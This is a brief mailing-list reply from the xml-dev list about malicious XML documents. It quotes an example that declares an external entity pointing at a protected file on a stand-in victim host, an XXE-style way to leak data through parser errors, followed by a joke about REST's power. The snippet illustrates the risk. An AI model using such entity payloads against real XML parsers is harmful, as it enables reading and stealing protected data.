Re: [xml-dev] Malicious documents? (WAS: Interesting mailing list& a rare broadside)

[Francis Norton <francis@redrice.com>]

Hi Miles,

Miles Sabin wrote:

>     <?xml version="1.0"?>
>     <!DOCTYPE foo [
>       <!ENTITY secret SYSTEM "http://protected.victim.com/secret.txt";>
>     <bar>... Credit card details here ...</bar>
>      ^^^
>     Validity constraint: element "bar" not permitted here.
>  
>
Ah, the power of REST - reminds me of the old medical paradox - any drug 
that doesn't have side-effects probably isn't powerful enough to be useful.

Francis.